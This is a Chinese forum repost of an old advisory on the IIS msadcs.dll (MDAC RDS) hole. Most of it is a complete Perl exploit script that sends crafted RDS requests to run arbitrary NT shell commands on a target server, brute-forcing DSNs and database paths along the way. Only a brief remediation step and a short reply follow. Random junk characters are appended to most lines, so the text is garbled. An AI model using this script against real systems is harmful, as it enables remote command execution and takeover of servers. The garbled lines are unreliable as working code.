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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) kiin78W  
\Ff]}4  
涉及程序: b5|l8<\  
Microsoft NT server 7|J&fc5BP  
w3fD6$  
描述: geM`O|Np  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #N=_-  
E/% F0\B  
详细: u91  
如果你没有时间读详细内容的话,就删除: +tlbO?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *D7oHwDU  
有关的安全问题就没有了。 (d <pxx  
}ZwnG=7T?  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 OWN|W,  
1mEW]z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?K.!^G  
关于利用ODBC远程漏洞的描述,请参看: aO<H!hK  
#TP Y%  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm dt>!=<|k  
9FT==>  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !wrAD"l*@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~3Z(0 gujD  
~vR<UQz  
这里不再论述。 sg]g;U  
3bugVJ9 3  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: A_6Dol=J@  
0wETv  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset B7'2@+(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! zWdz9;=_  
Hp fTuydU  
*41WZE  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \g@jc OKU  
dp1t]  
#!perl Rk{2ZUeg  
# C2%Yry  
# MSADC/RDS 'usage' (aka exploit) script %__.-;)o  
# l %xeM !}  
# by rain.forest.puppy {O[ !*+O  
# dnX^?  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me gE!`9#..  
# beta test and find errors! SR\$fmo  
"w{,ndZ  
use Socket; use Getopt::Std; >LB x\/  
getopts("e:vd:h:XR", \%args); R2[ }  
"  6  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1]jUiX=T  
y\[GS2nTX  
if (!defined $args{h} && !defined $args{R}) { TGPHjSZ1  
print qq~ 7m 9T'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } nHF  
-h <host> = host you want to scan (ip or domain) T b]'  b  
-d <seconds> = delay between calls, default 1 second ; >>/}Jw\  
-X = dump Index Server path table, if available C)s*1@af  
-v = verbose !yTjO  
-e = external dictionary file for step 5 fm,:8%  
mc5$-}1V,  
Or a -R will resume a command session CW#$%  
\"@`Rf   
~; exit;} x1*@PiO,.  
d`Em) 3v  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ?"q S%EH  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} D D Crvl  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r;aP`MVO<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'Xzi$}E D  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} FUTDR-q O  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [ w1"  
/T2f~1R  
if (!defined $args{R}){ $ret = &has_msadc; bYH! P/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -[`FNTTV C  
^l/$ 13=  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 6<A3H$3b  
. "cmd /c "; V 5ihplAk  
$in=<STDIN>; chomp $in; N[,/VCW  
$command="cmd /c " . $in ; U_,K_6vj  
[?`c>  
if (defined $args{R}) {&load; exit;} 9Fh(tzz  
8M'6Kcr  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;w}5:3+  
&try_btcustmr; P%Ux-0&  
Swz1RT  
print "\nStep 2: Trying to make our own DSN..."; J#W>%2 "s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }t #Hq  
&^YY>]1Py  
print "\nStep 3: Trying known DSNs..."; &_E*]Sj\  
&known_dsn; dfq5P!'  
*ha9Vq@X  
print "\nStep 4: Trying known .mdbs..."; rzqUI*4%  
&known_mdb; MPd#C*c  
9?W38EF  
if (defined $args{e}){ r4qFEFV3%  
print "\nStep 5: Trying dictionary of DSN names..."; ;3_Q7;y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } tgYIM`f  
~dwl7Qc  
print "Sorry Charley...maybe next time?\n"; =kLg)a |  
exit; X|wXTecg*|  
Cst> 'g-yB  
############################################################################## Z@8amT;Y  
zj;y`ENj  
sub sendraw { # ripped and modded from whisker (Qq$ql27  
sleep($delay); # it's a DoS on the server! At least on mine... `"CF/X^  
my ($pstr)=@_; [P{Xg:0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6C/D&+4  
die("Socket problems\n"); e"|9%AW@<  
if(connect(S,pack "SnA4x8",2,80,$target)){ WiviH#hF  
select(S); $|=1; aV(*BE/@F  
print $pstr; my @in=<S>; %3VwCuE  
select(STDOUT); close(S); Gf'V68,l$  
return @in; m x,X!}  
} else { die("Can't connect...\n"); }} "=f*Lk@[  
n5]<|>U vx  
############################################################################## .+B)@?  
R4JO)<'K&  
sub make_header { # make the HTTP request D0k7)\puQ  
my $msadc=<<EOT ,?#-1uIGL>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 c/2OR#$t  
User-Agent: ACTIVEDATA ccm <rZ7  
Host: $ip p-; ]O~^  
Content-Length: $clen Y!*,G]7  
Connection: Keep-Alive sq)Nn&5A  
?I/,r2ODLh  
ADCClientVersion:01.06 ^LC5orO  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 U0N[~yW(t1  
Da@tpKU)p  
--!ADM!ROX!YOUR!WORLD! T8hQ< \g  
Content-Type: application/x-varg 3iEcLhe"4  
Content-Length: $reqlen Mc6Cte]3|  
%""CacX  
EOT *BO4"3Z  
; $msadc=~s/\n/\r\n/g; m#;:%.Rm  
return $msadc;} {G{@bUG]p  
iGU N$  
############################################################################## }5]s+m  
w\2[dd  
sub make_req { # make the RDS request [X~X?By>  
my ($switch, $p1, $p2)=@_; q3P3euK3  
my $req=""; my $t1, $t2, $query, $dsn; 4rzioIk  
O@=mN*<gg0  
if ($switch==1){ # this is the btcustmr.mdb query "4?hK  
$query="Select * from Customers where City=" . make_shell(); iN {TTy  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  7:p]~eM)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /Bwea];^Q  
]Ns&`Yn{  
elsif ($switch==2){ # this is general make table query *HXq`B  
$query="create table AZZ (B int, C varchar(10))"; |(H|2]b4 =  
$dsn="$p1";} D&^:hs@  
Em]T.'y  
elsif ($switch==3){ # this is general exploit table query Sd\@Q% }o\  
$query="select * from AZZ where C=" . make_shell(); Q.] )yqX6  
$dsn="$p1";} <V8i>LBlz  
)Ud S (Bj  
elsif ($switch==4){ # attempt to hork file info from index server f:Ja  
$query="select path from scope()"; t/D Q<B_  
$dsn="Provider=MSIDXS;";} ]`kvq0Gyb  
j bGH3 L  
elsif ($switch==5){ # bad query AP7W)S  
$query="select"; E0h p%:  
$dsn="$p1";} W|Tew-H{h_  
C/vLEpP{(/  
$t1= make_unicode($query); $P@cS1sB  
$t2= make_unicode($dsn); 9}mp,egV  
$req = "\x02\x00\x03\x00"; :58'U|  
$req.= "\x08\x00" . pack ("S1", length($t1)); S p )}  
$req.= "\x00\x00" . $t1 ; U;xWW9  
$req.= "\x08\x00" . pack ("S1", length($t2)); yk)j;i4@  
$req.= "\x00\x00" . $t2 ; ;E"mB4/)  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 3,5wWT] )  
return $req;} c>!J@[,  
M^f1D&A  
##############################################################################  e C{Z  
DmrfD28j~F  
sub make_shell { # this makes the shell() statement cs M|VNE>  
return "'|shell(\"$command\")|'";} #G=QL(f>/  
Rqz()M  
############################################################################## *4:/<wI!  
4w6K|v<X  
sub make_unicode { # quick little function to convert to unicode ~ 7Nyi dV;  
my ($in)=@_; my $out; PPO<{  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sZB6zTX J  
return $out;} S: uEK  
yy1r,dw  
############################################################################## Kx+Bc&X  
`VE&Obp[  
sub rdo_success { # checks for RDO return success (this is kludge) \KXEw2S  
my (@in) = @_; my $base=content_start(@in); I yN9 +  
if($in[$base]=~/multipart\/mixed/){ O*{H;7Pv  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} (NC>[  
return 0;} =M#?*e  
<xjv7`G7  
############################################################################## 1@S6[&_  
 ?|J+dW  
sub make_dsn { # this makes a DSN for us j/pQSlV  
my @drives=("c","d","e","f"); %d J>8.jW@  
print "\nMaking DSN: "; r(T/^<  
foreach $drive (@drives) { Q3q.*(#  
print "$drive: "; mZVOf~9E  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 'm5(MC,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }C"*ACjF   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); C'2 =0oou  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; y]_8. 0zM  
return 0 if $2 eq "404"; # not found/doesn't exist o'C.,ic?C  
if($2 eq "200") { J8BT%  
foreach $line (@results) { cgXF|'yI&l  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} b ]&zDo|8  
} return 0;} ?67I|@^  
^ [[ b$h$  
############################################################################## Q9xx/tUW  
@dCPa7:>&  
sub verify_exists { M6*{#Y?  
my ($page)=@_; @H%=%ZwpO  
my @results=sendraw("GET $page HTTP/1.0\n\n"); a`~eC)T  
return $results[0];} 3e6Y  
[ky6E*dV`  
############################################################################## ?b7g9 G4  
q+n1~AT  
sub try_btcustmr { LZC?383'  
my @drives=("c","d","e","f"); 6Hbf9,vI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @IY?DO  
J-\?,4mcP  
foreach $dir (@dirs) { 7$'mC9  
print "$dir -> "; # fun status so you can see progress $dp#nyP  
foreach $drive (@drives) { ;;'a--'"  
print "$drive: "; # ditto 5J+V:Xu{  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .e2A*9,  
$reqlenlen=length( "$reqlen" ); )| x%o(n  
$clen= 206 + $reqlenlen + $reqlen; 7 Jx-W|  
)uid!d  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); c\MsVH2 |  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} OW^2S_H5  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} gGX0+L@E  
{rvbo1t  
############################################################################## ZutB_uW  
Lcs{OW,  
sub odbc_error { 2>}\XKF).  
my (@in)=@_; my $base; ^~6]0$yJ  
my $base = content_start(@in); #jLaIXms  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [+l  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OOBcJC  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >GznG[Ku  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XJ h:U0  
return $in[$base+4].$in[$base+5].$in[$base+6];} _rMT{q3  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t+ S~u^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W>0"CUp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;sChxQ=.^  
B8UZ9I$n  
############################################################################## `B'4"=(  
$,;S\JmWP  
sub verbose { r6n5Jz  
my ($in)=@_; !FB \h<6  
return if !$verbose; 9PKoNd^e  
print STDOUT "\n$in\n";} v : "m  
d=?Mj]  
############################################################################## J`r,_)J"2  
kPO6gdwq$  
sub save { w*:GM8=6  
my ($p1, $p2, $p3, $p4)=@_; `8Jq~u6_Z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; t$K@%yU2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2gwZb/'i  
close OUT;} E q=wdI  
m4"N+_j  
############################################################################## MyH[vE^b  
';b3Mm #  
sub load { (LRM~5KVg  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^XBzZ!h|  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m Ztv G,  
@p=<IN>; close(IN); ;}/U+`=D?  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M@~~f   
$target= inet_aton($ip) || die("inet_aton problems"); '%SR.JL  
print "Resuming to $ip ..."; )u8*zwq  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 2e9jo,i  
if($p[1]==1) { =`Po<7D  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; @~k5+Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]cm6 |`pz  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1~2R^#rm  
if (rdo_success(@results)){print "Success!\n";} MzQ\rg_B7  
else { print "failed\n"; verbose(odbc_error(@results));}} c~}={4M]  
elsif ($p[1]==3){ J7BFk ?=  
if(run_query("$p[3]")){ %MJL5  
print "Success!\n";} else { print "failed\n"; }} w 66 v\x~  
elsif ($p[1]==4){ #:J: YMv  
if(run_query($drvst . "$p[3]")){ /!GKh5|  
print "Success!\n"; } else { print "failed\n"; }} {O^TurbTFA  
exit;} %K[daXw6E8  
w6T[hZ 9  
############################################################################## .,3Zj /  
'K@-Z]  
sub create_table { -2F@~m|  
my ($in)=@_; "S5S|dBc  
$reqlen=length( make_req(2,$in,"") ) - 28; g(/{.%\k  
$reqlenlen=length( "$reqlen" ); Hjs }  
$clen= 206 + $reqlenlen + $reqlen; ;%' b;+  
my @results=sendraw(make_header() . make_req(2,$in,"")); AZwl fdLB  
return 1 if rdo_success(@results); @}<"N  
my $temp= odbc_error(@results); verbose($temp); Q%ruQ#  
return 1 if $temp=~/Table 'AZZ' already exists/; vUNisVA  
return 0;} 55.;+B5L *  
} h[>U  
############################################################################## CI`N8 f=v  
d%0+i/p  
sub known_dsn { <i{K7}':  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .xO _E1Ku;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !;%y$$gxh  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /XcDYMKgh  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); dY}pN"  
|6E .M1  
foreach $dSn (@dsns) { %*lp< D  
print "."; Q1Ux!$_  
next if (!is_access("DSN=$dSn")); E&*: jDg  
if(create_table("DSN=$dSn")){ 'b^l'KN:S  
print "$dSn successful\n"; Z@3l%p6V  
if(run_query("DSN=$dSn")){ '>@4(=I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LP:nba :  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $5,~JYcb  
!tEe\K\e  
############################################################################## 9)+@0fG)  
-G9|n#zCU  
sub is_access { ]q{ PDZ   
my ($in)=@_; 6vto++  
$reqlen=length( make_req(5,$in,"") ) - 28; y&"!m }  
$reqlenlen=length( "$reqlen" ); 17}$=#SX  
$clen= 206 + $reqlenlen + $reqlen; B2 c@kru  
my @results=sendraw(make_header() . make_req(5,$in,"")); e,HMwD  
my $temp= odbc_error(@results); wW:7y>z)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +$47v$p  
return 0;} {`% hgR  
5IW8=$k~.)  
############################################################################## *8bK')W  
hq#kvvi{f  
sub run_query { L=O lyHO  
my ($in)=@_; <l$P&jSF3  
$reqlen=length( make_req(3,$in,"") ) - 28; Vtb1[cnna  
$reqlenlen=length( "$reqlen" ); n`(~O O  
$clen= 206 + $reqlenlen + $reqlen; -4w%Iy  
my @results=sendraw(make_header() . make_req(3,$in,"")); rK1-Mu  
return 1 if rdo_success(@results); Z!6UW:&~7  
my $temp= odbc_error(@results); verbose($temp); kneuV8+(5  
return 0;} o#>a 5  
4KXc~eF[M"  
############################################################################## DG(%-w8p"  
[4*1}}gW%5  
sub known_mdb { i|]7(z#OyI  
my @drives=("c","d","e","f","g"); _qn?2u3mnR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dAc ?O-~  
my $dir, $drive, $mdb; 3e%nA8?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; FJeiY#us  
gAt~?HvW6  
# this is sparse, because I don't know of many h}Rx_d  
my @sysmdbs=( "\\catroot\\icatalog.mdb", i?>tgmu.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~.^AL}zm_  
"\\system32\\certmdb.mdb", ?cKZ_c  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% xzsdG?P  
.oqIZ\iik  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ^s&W>hTX:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", u%3i0BajY  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5\bJR0I@  
"\\cfusion\\cfapps\\security\\realm_.mdb", ^C/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ]kD"&&HV  
"\\cfusion\\database\\cfexamples.mdb", jV O{$j  
"\\cfusion\\database\\cfsnippets.mdb", dRW$T5dac  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &<3&'*ueW  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", qnChM ;)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `zA#z />  
"\\cfusion\\database\\smpolicy.mdb", VT\ "q1)p  
"\\cfusion\\database\cypress.mdb", X|}2_B  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j.m(ltGh  
"\\website\\cgi-win\\dbsample.mdb", !E2W\chi  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ` qUX.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" o.m:3!RW  
); #these are just B(_WZa!  
foreach $drive (@drives) { 8|@9{  
foreach $dir (@dirs){ e(?]SU|  
foreach $mdb (@sysmdbs) { =2Cj,[$  
print "."; :>+\17tx  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 29&bbfU  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; OGOND,/R?/  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ [1_A8s){u  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Vi *e@IP/  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 8R/dA<Ww  
3BG>Y(v  
foreach $drive (@drives) { E{?au]y$J  
foreach $mdb (@mdbs) { t$J.+}}I  
print "."; !4(zp;WY^  
if(create_table($drv . $drive . $dir . $mdb)){ o]ePP,  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]fBUT6  
if(run_query($drv . $drive . $dir . $mdb)){ :Y P#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; d\]Yk]r  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;Hmp f0$  
} L\%orLEmK  
t)f-mQz)  
############################################################################## ?'s6Xmd  
)G~w[~  
sub hork_idx { "4o=,$E=  
print "\nAttempting to dump Index Server tables...\n"; ]e'fa/I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; l +*&:Q/  
$reqlen=length( make_req(4,"","") ) - 28; U75Jp%bL  
$reqlenlen=length( "$reqlen" ); _oG&OJ@  
$clen= 206 + $reqlenlen + $reqlen; :Dt~e|  
my @results=sendraw2(make_header() . make_req(4,"","")); zFz10pH  
if (rdo_success(@results)){ ;G\8jP'   
my $max=@results; my $c; my %d; #bX9Tu0  
for($c=19; $c<$max; $c++){ -fS.9+k0/  
$results[$c]=~s/\x00//g; lf(`SYQnOY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; vi.w8 >CE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; t.p~\6Yi  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !|ak^GE:(%  
$d{"$1$2"}="";} ]hos+;4p  
foreach $c (keys %d){ print "$c\n"; } ZJPmR/OV_  
} else {print "Index server doesn't seem to be installed.\n"; }} HpZ1xT  
N@ \&1I`c$  
############################################################################## EU7|,>a  
V!v:]E  
sub dsn_dict { '2^7-3_1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >P6BW  
while(<IN>){ 7%f&M>/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Rk!X]-`=  
next if (!is_access("DSN=$dSn")); WOzf]3Xcj  
if(create_table("DSN=$dSn")){ JjaoOe  
print "$dSn successful\n"; %yBB?cp+_  
if(run_query("DSN=$dSn")){ ,#MCn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1W7% 1FA  
print "Something's borked. Use verbose next time\n";}}} ljTBvU  
print "\n"; close(IN);} 'R-3fO???  
@,Gxk   
############################################################################## hj'(*ND7z  
CI353-`  
sub sendraw2 { # ripped and modded from whisker MZ+^-@X  
sleep($delay); # it's a DoS on the server! At least on mine... ZKHG!`X0  
my ($pstr)=@_; pRkP~ZISU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c\a_VRN>r  
die("Socket problems\n"); '5&s=M_  
if(connect(S,pack "SnA4x8",2,80,$target)){ .<@8gNm3  
print "Connected. Getting data"; 9mA{K    
open(OUT,">raw.out"); my @in; .X# `k  
select(S); $|=1; print $pstr; vz.>~HBP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Po%LE]v,  
close(OUT); select(STDOUT); close(S); return @in; UMAgA!s  
} else { die("Can't connect...\n"); }} -f*P nxg  
sMu] /'7  
############################################################################## ]a5 f2lE  
'%q$` KDb  
sub content_start { # this will take in the server headers ;>n,:355L  
my (@in)=@_; my $c; AGLscf.  
for ($c=1;$c<500;$c++) { % qV 6  
if($in[$c] =~/^\x0d\x0a/){ M#(+c_(r  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;4Y%PV z~D  
else { return $c+1; }}} "g$IP9?U  
return -1;} # it should never get here actually /p8dZ+X  
O,Cb"{qH8  
############################################################################## 9eH$XYy  
u~A6bK*  
sub funky { ,l<6GB2\  
my (@in)=@_; my $error=odbc_error(@in); 'Lu__NfN  
if($error=~/ADO could not find the specified provider/){ '7XIhN9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; j~!X;PV3  
exit;} xlQBe-Wg  
if($error=~/A Handler is required/){ hCC<?5q  
print "\nServer has custom handler filters (they most likely are patched)\n"; On?p 9^9  
exit;} 8- 2cRs  
if($error=~/specified Handler has denied Access/){ =Xo =Qcr  
print "\nServer has custom handler filters (they most likely are patched)\n"; :Nz9xD$S5  
exit;}} J+`VujWT  
q FAT]{{  
############################################################################## N;\'N ne  
AvfNwE  
sub has_msadc { y&V@^ "`  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); EOCN&_Z;  
my $base=content_start(@results); 6oGYnu;UZ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Uu`9 "  
return 0;} Mnscb  
zG(\+4GE!  
######################## 2nR[Xh?L  
k |eBJ%  
2AMo:Jqv  
解决方案: u:=7l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll q^Y-}=w  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T(U_  
vkri+:S3  
拿出来充数 哈哈
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